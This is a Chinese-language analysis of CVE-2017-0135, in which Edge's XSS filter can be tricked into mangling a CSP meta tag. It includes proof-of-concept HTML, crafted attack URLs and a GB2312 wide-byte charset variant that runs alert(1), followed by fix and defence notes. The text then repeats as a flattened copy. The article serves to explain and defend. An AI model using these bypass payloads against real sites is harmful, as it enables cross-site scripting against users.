CVE-2017-0135漏洞分析:利用Edge浏览器的XSS过滤器绕过CSP
字数 1407 2025-08-18 11:37:07

Edge浏览器XSS过滤器绕过CSP漏洞分析(CVE-2017-0135)

漏洞概述

CVE-2017-0135是Microsoft Edge浏览器中的一个安全漏洞,允许攻击者利用浏览器的XSS过滤器缺陷绕过内容安全策略(CSP)保护。该漏洞由研究人员tocttou发现并于2016年底报告给微软,在2017年3月的MS17-007安全更新中修复。

技术背景

浏览器XSS过滤器

  • 起源于IE 8,用于防范反射型XSS攻击

  • 工作原理:

    1. 检查GET/POST参数中是否可能含有XSS代码(使用复杂正则匹配)
    2. 如果匹配成功,搜索该参数值是否出现在服务器返回的HTML中
    3. 如果出现,则判定为XSS攻击
  • 两种工作模式:

    • 屏蔽整个页面(通过X-XSS-Protection: 1; mode=block启用)
    • 尝试修复XSS(默认模式)

XSS过滤器的修复机制

当检测到反射型XSS时,Edge/IE会尝试通过修改HTML来"修复"漏洞:

  • 在可疑标签中插入#字符(如将<script>改为<sc#ipt>
  • 同样适用于embediframeobjectmeta等标签

漏洞原理

基本利用方式

攻击者可以利用XSS过滤器的误报机制,使浏览器错误地修改合法标签:

  1. 当页面包含<meta http-equiv="Content-Security-Policy">标签时
  2. 攻击者构造URL参数包含相同内容(如?<meta http-equiv="Content-Security-Policy"...>
  3. 浏览器误判为反射型XSS,尝试"修复"meta标签
  4. 修复后的meta标签失效(如<me#a...>),导致CSP策略被绕过

PoC示例

原始HTML(启用CSP):

<!DOCTYPE html>
<html>
<head>
  <title>CSP Test</title>
  <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
</head>
<body>
  <script>alert(document.domain);</script>
</body>
</html>

攻击URL:

http://example.com/xss.html?%3Cmeta%20http-equiv=%22Content-Security-Policy%22%20content=%22script-src%20'self'%22%3E

结果:

  • 浏览器将meta标签修改为<me#a...>
  • CSP策略失效,内联脚本得以执行

其他潜在利用方式

宽字节编码XSS

通过破坏<meta charset>标签可能导致编码解析错误:

  1. 页面使用GB2312编码,包含特殊字符
  2. 攻击使浏览器移除charset声明
  3. 浏览器错误解析编码,可能导致XSS

示例:

<!DOCTYPE html>
<html>
<head>
  <meta charset="gb2312">
  <title>CSP Test</title>
</head>
<body>
  <script>
    var a = "峔峔\";alert(1);//";
  </script>
</body>
</html>

攻击URL:

xss.html?<meta charset="gb2312">

潜在效果:

  • "峔峔"的GB2312编码为8D 5C
  • 5C在ASCII中是反斜线,可能导致字符串转义失效
  • 可能执行alert(1)

修复方案

微软的修复措施:

  • 不再尝试自动修复疑似XSS
  • 强制屏蔽整个页面(无论服务器是否设置block模式)

防御建议

  1. 配置XSS过滤器:

    • 使用X-XSS-Protection: 1; mode=block模式
    • 或完全禁用:X-XSS-Protection: 0
  2. CSP实施最佳实践:

    • 优先使用HTTP头设置CSP策略
    • 仅在无法控制HTTP头时使用meta标签
  3. 编码声明:

    • 确保正确设置字符编码
    • 考虑在HTTP头中设置编码

研究意义

此漏洞展示了:

  1. 安全机制间的意外交互可能导致新的漏洞
  2. XSS过滤器作为复杂系统,存在潜在攻击面
  3. 自动修复机制可能引入新的安全问题

参考资料

  1. IE 8 XSS过滤器工作原理
  2. X-XSS-Protection头字段规范
  3. Abusing Internet Explorer 8's XSS Filters
  4. 宽字节编码安全问题研究

注:本文基于原始研究文档整理,关键技术和概念已完整保留,无关描述已去除。

Edge浏览器XSS过滤器绕过CSP漏洞分析(CVE-2017-0135) 漏洞概述 CVE-2017-0135是Microsoft Edge浏览器中的一个安全漏洞,允许攻击者利用浏览器的XSS过滤器缺陷绕过内容安全策略(CSP)保护。该漏洞由研究人员tocttou发现并于2016年底报告给微软,在2017年3月的MS17-007安全更新中修复。 技术背景 浏览器XSS过滤器 起源于IE 8,用于防范反射型XSS攻击 工作原理: 检查GET/POST参数中是否可能含有XSS代码(使用复杂正则匹配) 如果匹配成功,搜索该参数值是否出现在服务器返回的HTML中 如果出现,则判定为XSS攻击 两种工作模式: 屏蔽整个页面(通过 X-XSS-Protection: 1; mode=block 启用) 尝试修复XSS(默认模式) XSS过滤器的修复机制 当检测到反射型XSS时,Edge/IE会尝试通过修改HTML来"修复"漏洞: 在可疑标签中插入 # 字符(如将 <script> 改为 <sc#ipt> ) 同样适用于 embed 、 iframe 、 object 、 meta 等标签 漏洞原理 基本利用方式 攻击者可以利用XSS过滤器的误报机制,使浏览器错误地修改合法标签: 当页面包含 <meta http-equiv="Content-Security-Policy"> 标签时 攻击者构造URL参数包含相同内容(如 ?<meta http-equiv="Content-Security-Policy"...> ) 浏览器误判为反射型XSS,尝试"修复"meta标签 修复后的meta标签失效(如 <me#a...> ),导致CSP策略被绕过 PoC示例 原始HTML(启用CSP): 攻击URL: 结果: 浏览器将meta标签修改为 <me#a...> CSP策略失效,内联脚本得以执行 其他潜在利用方式 宽字节编码XSS 通过破坏 <meta charset> 标签可能导致编码解析错误: 页面使用GB2312编码,包含特殊字符 攻击使浏览器移除charset声明 浏览器错误解析编码,可能导致XSS 示例: 攻击URL: 潜在效果: "峔峔"的GB2312编码为 8D 5C 5C在ASCII中是反斜线,可能导致字符串转义失效 可能执行alert(1) 修复方案 微软的修复措施: 不再尝试自动修复疑似XSS 强制屏蔽整个页面(无论服务器是否设置block模式) 防御建议 配置XSS过滤器: 使用 X-XSS-Protection: 1; mode=block 模式 或完全禁用: X-XSS-Protection: 0 CSP实施最佳实践: 优先使用HTTP头设置CSP策略 仅在无法控制HTTP头时使用meta标签 编码声明: 确保正确设置字符编码 考虑在HTTP头中设置编码 研究意义 此漏洞展示了: 安全机制间的意外交互可能导致新的漏洞 XSS过滤器作为复杂系统,存在潜在攻击面 自动修复机制可能引入新的安全问题 参考资料 IE 8 XSS过滤器工作原理 X-XSS-Protection头字段规范 Abusing Internet Explorer 8's XSS Filters 宽字节编码安全问题研究 注:本文基于原始研究文档整理,关键技术和概念已完整保留,无关描述已去除。